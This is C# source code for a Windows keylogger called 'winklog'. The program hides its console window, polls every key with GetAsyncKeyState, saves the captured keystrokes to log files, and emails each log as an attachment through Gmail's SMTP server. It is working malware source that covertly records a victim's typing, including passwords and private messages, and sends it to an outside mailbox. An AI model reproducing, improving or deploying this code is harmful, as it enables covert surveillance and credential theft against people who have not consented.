using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace winklog { using System; using System.IO; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; internal class winklog { public winklog() { } [DllImport("user32.dll", SetLastError = false)] private static extern short GetAsyncKeyState(int vKey); [DllImport("user32.dll", SetLastError = false)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll", SetLastError = false)] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); static void Main(string[] args) { IntPtr intPtr; string str; int i; bool bl; //Email parameters: just as a note, it is pre-setup to work with Gmail. To edit, look up your mail host's information and edit here string host = "smtp.gmail.com", userName, pswd= "", fromAddress= "", toAddress= "", body, subject = string.Concat("New Log from ", Environment.MachineName), fileName; int port = 587; bool sslEnabled = true; if (args.Length != 4) { Console.WriteLine("Username: "); userName = Console.ReadLine(); if (userName == "default") { //fill in from file } else { Console.WriteLine("From: "); fromAddress = Console.ReadLine(); Console.WriteLine("To: "); toAddress = Console.ReadLine(); pswd = Returnpassword(); } } else { userName = args[0].ToString(); fromAddress = args[1].ToString(); toAddress = args[2].ToString(); pswd = args[3].ToString(); } intPtr = winklog.FindWindow(null, Console.Title); bl = intPtr == IntPtr.Zero; if (!bl) { winklog.ShowWindow(intPtr, 0); } str = ""; while (true) { while ((str.Length < 250)) { i = 1; while ((i < 255)) { bl = winklog.GetAsyncKeyState(i) == 0; if (!bl) { str = string.Concat(str, checkExceptions(i)); Console.WriteLine(str); Thread.Sleep(115); } i++; } } DateTime dtm = DateTime.Now; string str1 = DateTime.Now.ToString(); str1 = str1.Replace(':', '_'); str1 = str1.Replace('/', '_'); fileName = string.Concat(Environment.CurrentDirectory, "\\Log_", str1, ".txt"); FileStream fileStream = new FileStream(fileName, FileMode.CreateNew, FileAccess.Write); StreamWriter streamWriter = new StreamWriter(fileStream); streamWriter.Write(str); streamWriter.Close(); fileStream.Close(); DateTime dtm1 = DateTime.Now; winklog.SendMail(host, port, userName, pswd, fromAddress, toAddress, body = string.Concat("Key log for ", DateTime.Now.ToString()), subject, sslEnabled, fileName); str = ""; } } public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName) { MailMessage mailMessage; SmtpClient smtpClient; mailMessage = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress)); mailMessage.Subject = subject; mailMessage.SubjectEncoding = Encoding.UTF8; mailMessage.Body = body; mailMessage.BodyEncoding = Encoding.UTF8; mailMessage.IsBodyHtml = false; mailMessage.Attachments.Add(new Attachment(fileName)); smtpClient = new SmtpClient(host, port); smtpClient.Credentials = new NetworkCredential(userName, pswd); smtpClient.EnableSsl = sslEnabled; try { smtpClient.Send(mailMessage); Console.WriteLine("Your message was sent successfully."); } catch (SmtpException smtpException1) { Console.WriteLine("There was an error sending your message. {0}", smtpException1.Message); } } public static string Returnpassword() { Console.WriteLine("Password: "); string password = ""; ConsoleKeyInfo info = Console.ReadKey(true); while (info.Key != ConsoleKey.Enter) { if (info.Key != ConsoleKey.Backspace) { password += info.KeyChar; info = Console.ReadKey(true); } else if (info.Key == ConsoleKey.Backspace) { if (!string.IsNullOrEmpty(password)) { password = password.Substring (0, password.Length - 1); } info = Console.ReadKey(true); } } for (int i = 0; i < password.Length; i++) Console.Write("*"); return password; } public static string checkExceptions(int i) { switch (i) { case 1: return ""; case 2: return ""; case 8: return ""; case 9: return ""; case 13: return ""; case 0x10: return ""; case 0x11: return ""; case 0x12: return ""; case 20: return ""; case 0x21: return ""; case 0x22: return ""; case 0x23: return ""; case 0x24: return ""; case 0x25: return ""; case 0x26: return ""; case 0x27: return ""; case 40: return ""; case 0x2c: return ""; case 0x2d: return ""; case 0x5b: return ""; case 0x5d: return ""; case 0x70: return ""; case 0x71: return ""; case 0x72: return ""; case 0x73: return ""; case 0x74: return ""; case 0x75: return ""; case 0x76: return ""; case 0x77: return ""; case 120: return ""; case 0x79: return ""; case 0x7a: return ""; case 0x7b: return ""; case 0x90: return ""; case 160: return ""; case 0xa1: return ""; case 0xa2: return ""; case 0xa3: return ""; case 0xa4: return ""; case 0xa5: return ""; case 0xba: return ";"; case 0xbb: return "="; case 0xbc: return ","; case 0xbd: return "-"; case 190: return "."; case 0xbf: return "/"; case 0xdb: return "["; case 220: return @"\"; case 0xdd: return "]"; case 0xde: return "'"; } char ch = (char)i; return ch.ToString(); } } }